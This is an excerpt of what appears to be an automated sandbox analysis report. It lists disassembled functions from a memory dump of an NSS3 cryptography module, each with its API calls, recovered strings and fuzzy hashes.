Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction ID: ccfaa29ebd7421f033e672f1e677cedeafec0bb7f6cb9aee69864ac51dab5b3d
Opcode Fuzzy Hash: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction Fuzzy Hash: 2971C2B4A05B019FD700CF60D884A96B7F5FF89308F148529E81E87B11EB32F955CB59

Function 6C668DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C668E22
EnterCriticalSection.KERNEL32(?), ref: 6C668E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C668E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C668E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C668EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C668EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F00
free.MOZGLUE(?), ref: 6C668F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C668F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F5B
PR_Unlock.NSS3(?), ref: 6C668F72
PR_Unlock.NSS3(?), ref: 6C668F82

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction ID: 4ed5d4e1d00a07b72f3c5744550685c3ed520d2649cf699b35357d5168366f8a
Opcode Fuzzy Hash: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction Fuzzy Hash: 18510BB2D00215AFD7009F7ACC449AEB7B9EF5A358B144129EC089BF10E731ED4587E6

Function 6C68CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C68CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C68CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C68CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C68CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C68CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C68CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C68CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C68CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C68CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C68CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C68CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C68D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C68D021

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d1f651082c0f3a5d7c5d58c19e336fc211ff98c86a1f23ede3cf83dfc7696c3f
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: C5313071B9791127EF0D149B6C21F9E254A4B6630EF440039F90BE6BC0FA859A5702BD

Function 6C760FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C761000

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C761016

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_Unlock.NSS3(?), ref: 6C761021

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761046
PR_Unlock.NSS3(?), ref: 6C76106B
PR_Lock.NSS3 ref: 6C761079
PR_Unlock.NSS3 ref: 6C761096
free.MOZGLUE(?), ref: 6C7610A7
free.MOZGLUE(?), ref: 6C7610B4
PR_DestroyCondVar.NSS3(?), ref: 6C7610BF
PR_DestroyCondVar.NSS3(?), ref: 6C7610CA
PR_DestroyCondVar.NSS3(?), ref: 6C7610D5
PR_DestroyCondVar.NSS3(?), ref: 6C7610E0
PR_DestroyLock.NSS3(?), ref: 6C7610EB
free.MOZGLUE(?), ref: 6C761105

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction ID: 0be9266e25295d986855f9001a957344754722453cf731bed1f07a0631cffab7
Opcode Fuzzy Hash: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction Fuzzy Hash: 77316BB5900402BBDB019F15EE45A45BBB6FF02319B188130E80952F61E732F979EBDA

Function 6C5DDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5DDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5DDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5DDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DDECD

Strings

database corruption, xrefs: 6C5DDF77, 6C5DDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DDF6D, 6C5DDFCC, 6C5DDFDD
%s at line %d of [%.10s], xrefs: 6C5DDF7C, 6C5DDFEC

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction ID: c17f001fb6a41653d29d53ad03bc4551fc80e228bc2deba9a953e3157f71b89e
Opcode Fuzzy Hash: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction Fuzzy Hash: E6A1B3716043069BC710DF2DCC80A6AB7F5EF95308F1A896DE8858BB51E730F945CBA6

Function 6C69EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C69EE0B

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EEE1

Part of subcall function 6C691D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C691D7E
Part of subcall function 6C691D50: EnterCriticalSection.KERNEL32(?), ref: 6C691D8E
Part of subcall function 6C691D50: PR_Unlock.NSS3(?), ref: 6C691DD3

TlsGetValue.KERNEL32 ref: 6C69EE51
EnterCriticalSection.KERNEL32(?), ref: 6C69EE65
PR_Unlock.NSS3(?), ref: 6C69EEA2
free.MOZGLUE(?), ref: 6C69EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C69EED0
PR_Unlock.NSS3(?), ref: 6C69EF48
free.MOZGLUE(?), ref: 6C69EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C69EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C69EFA4
free.MOZGLUE(?), ref: 6C69EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69F055
free.MOZGLUE(?), ref: 6C69F060

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction ID: 30126aafb8ff49667068a156bd3657370fcb8a055a26e1405f569689917ac487
Opcode Fuzzy Hash: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction Fuzzy Hash: 3A8181B1A0020AABDF00DFA5DC45BEE7BB5BF09318F144025E909A3711E731E965CBA9

Function 6C664CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C664D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C664D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C664DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C664E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C664E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C664E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C664E85
DER_Encode_Util.NSS3(?,?,6C7B05A4,00000000), ref: 6C664EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C664F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C664F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C664F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C664F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664FC8

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction ID: 2ac62ba7dff3fee9f7dd21be046cea95f236de9391d5fff346251b62a1ffedd7
Opcode Fuzzy Hash: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction Fuzzy Hash: 2F81B371908301AFE701CF26D850BABB7E4ABC5348F148929F958DBA40E771E905CB9B

Function 6C6A5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C6A5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C6A5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C6A5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C6A5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C6A5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5E18
TlsGetValue.KERNEL32 ref: 6C6A5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C6A5E72
PR_Unlock.NSS3(?), ref: 6C6A5E8B

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C6A5D3D
d, xrefs: 6C6A5C36

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction ID: 67d2fa1bc4b4cefd73094192f9e51fc6835de4a1769b98e93e94a216269452af
Opcode Fuzzy Hash: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction Fuzzy Hash: F871B3B1A05501ABEB00DFA4DC45BAE7275BF4631CF140435E80A9AB46EB32ED17879E

Function 6C698F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C699582), ref: 6C698F5B

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C698F6A

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C698FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C698FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C77D820,6C699576), ref: 6C698FF9
DER_GetInteger_Util.NSS3(?), ref: 6C69901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C69903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C699062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C69912D
free.MOZGLUE(00000000), ref: 6C699136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C699145

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction ID: cc9e516a6502a86337e54dc69d0e1f7cc63ba288f598162578b36d4168f8a15f
Opcode Fuzzy Hash: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction Fuzzy Hash: 9251F1B2A042019FEB00CF28DC41B9BB7E8BF99358F044529EC5997741E731E955CB9A

Function 6C68ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C68ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE29

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C68AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C68AEA0

Strings

hSession = 0x%x, xrefs: 6C68AE01, 6C68AE11
nvl, xrefs: 6C68AEB8, 6C68AEE6
hKey = 0x%x, xrefs: 6C68AE62, 6C68AE72
C_MessageSignInit, xrefs: 6C68ADE1
(CK_INVALID_HANDLE), xrefs: 6C68AE1F, 6C68AE80

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nvl
API String ID: 332880674-3036463336
Opcode ID: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction ID: b1f9696cb3354686915813e62beb135d3fc7df5ed0a10a026cef5fb02f6d1805
Opcode Fuzzy Hash: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction Fuzzy Hash: CA31EB71602208ABCB009F14DD4CFAA3775AB4630DF044834ED09ABB92DB309909DBBE

Function 6C689EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C689F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689F49

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C689F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C689FC0

Strings

hSession = 0x%x, xrefs: 6C689F21, 6C689F31
nvl, xrefs: 6C689FD8, 6C68A006
hKey = 0x%x, xrefs: 6C689F82, 6C689F92
(CK_INVALID_HANDLE), xrefs: 6C689F3F, 6C689FA0
C_MessageEncryptInit, xrefs: 6C689F01

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nvl
API String ID: 332880674-2561802492
Opcode ID: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction ID: 8ab298a56823afd8dfce007abe34c221a9e153f35e7f094a4560645055fa7749
Opcode Fuzzy Hash: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction Fuzzy Hash: 6B31F671602208ABDB00DF54DE8CFAE3775AB4631CF084434E909ABB41DB349908CBBE

Function 6C682DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C682DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682E81

Strings

C_InitPIN, xrefs: 6C682DF1
pPin = 0x%p, xrefs: 6C682E63
hSession = 0x%x, xrefs: 6C682E0E, 6C682E1E
nvl, xrefs: 6C682E99, 6C682EC4
(CK_INVALID_HANDLE), xrefs: 6C682E2C
ulPinLen = %d, xrefs: 6C682E7C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

